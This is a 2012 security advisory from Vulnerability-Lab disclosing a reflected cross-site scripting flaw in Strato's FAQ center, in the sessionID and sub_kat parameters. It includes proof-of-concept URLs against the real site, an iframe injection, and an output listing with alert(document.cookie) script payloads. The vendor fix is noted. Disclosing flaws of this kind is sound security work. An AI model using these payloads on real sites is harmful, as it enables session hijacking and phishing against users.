Strato FAQ Center 2012 - Cross Site Scripting Vulnerability

Document Title:
===============
Strato FAQ Center 2012 - Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=372


Release Date:
=============
2012-01-06


Vulnerability Laboratory ID (VL-ID):
====================================
372


Product & Service Introduction:
===============================
FAQ / Login & Support Center of the Strato GmbH ...  CMS by STRATO AG, Customer-Care IT - Ostendorff

(Copy of the Vendor Homepage: http://www.strato.de &  http://www.strato-faq.de )


Abstract Advisory Information:
==============================
A Vulnerability-Lab researcher discovered a non persistent cross site scripting vulnerability in the strato vendor faq center cms 2012.


Vulnerability Disclosure Timeline:
==================================
2012-01-03:	Vendor Notification
2012-01-04:	Vendor Response/Feedback
2012-01-05:	Vendor Fix/Patch
2012-01-06:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A non persistent input validation vulnerability has been detected on the strato vendor faq center cms.
The vulnerability allows  remote attacker to hijack customer sessions with required user inter action click.
Successful exploitation can result in client-side content manipulation, client side cross site scripting, 
session hijacking & client side phishing.

Vulnerable File(s):
				[+] Kategories HTML

Vulnerable Module(s):
				[+] Search Result - Input Fields & Output Listing

Vulnerable Param(s):
				[+] sessionid  &  sub_kat

Picture(s):
				../1.png
				../2.png
				../3.png


Proof of Concept (PoC):
=======================
A non persistent input validation can be exploited by remote attackers with required user inter action(click).
For demonstration or reproduce ...

Domain:		http://www.strato-faq.de/
Path:		../
File:		kategorie.html
Para:		?sessionID=54b42f322818fcab0086e80284dec399&page=4&sub_kat=   ...  ?sessionID=   ... 


PoC:
http://www.strato-faq.de/kategorie.html?sessionID=[Cross Site Scripting]div%20style=%221
http://www.strato-faq.de/kategorie.html?sessionID=%3E%22%3Ciframe%20src=http://vulnerability-lab.com%20width=900%20height=800%3E



Code Review: OUTPUT Listing

<div class="pager">
Seite  <a href="/kategorie.html?sessionID=54b42f322818fcab0086e80284dec399&page=1&sub_kat=
%3E%5C" <script="">alert(document.cookie)</a><div style=""><a href="/kategorie.html?sessionID=54b42f322818fcab0086
e80284dec399&page=1&sub_kat=%3E%5C" <script="">"<script>alert(document.cookie)</script></a><div style="" 
<iframe="" src="http://global-evolution.info" width="600" height="600"><a href="/kategorie.html?sessionID=54b42f32
2818fcab0086e80284dec399&page=1&sub_kat=%3E%5C" <script="">" class="links" title="Seite 1">[1]</a> 
; <a href="/kategorie.html?sessionID=54b42f322818fcab0086e80284dec399&page=3&sub_kat=%3E%5C" <script=
"">alert(document.cookie)</a><div style=""><a href="/kategorie.html?sessionID=54b42f322818fcab0086e80284dec399&
page=3&sub_kat=%3E%5C" <script="">"<script>alert(document.cookie)</script></a><div style="" <iframe="" src="http
://global-evolution.info" width="600" height="600"><a href="/kategorie.html?sessionID=54b42f322818fcab0086e80284dec3
99&page=3&sub_kat=%3E%5C" <script="">" class="links" title="Seite 



Solution - Fix & Patch:
=======================
To fix the non persistent cross site vulnerability restrict/parse the input on &sub_kat= & sessionid.
Parse the output listing of the vulnerable & implement an exception-handling to prevent against client-side script code executions.



Security Risk:
==============
The security risk of the non persistent cross site scripting vulnerability is estimated as medium(-).


Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)


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=========================
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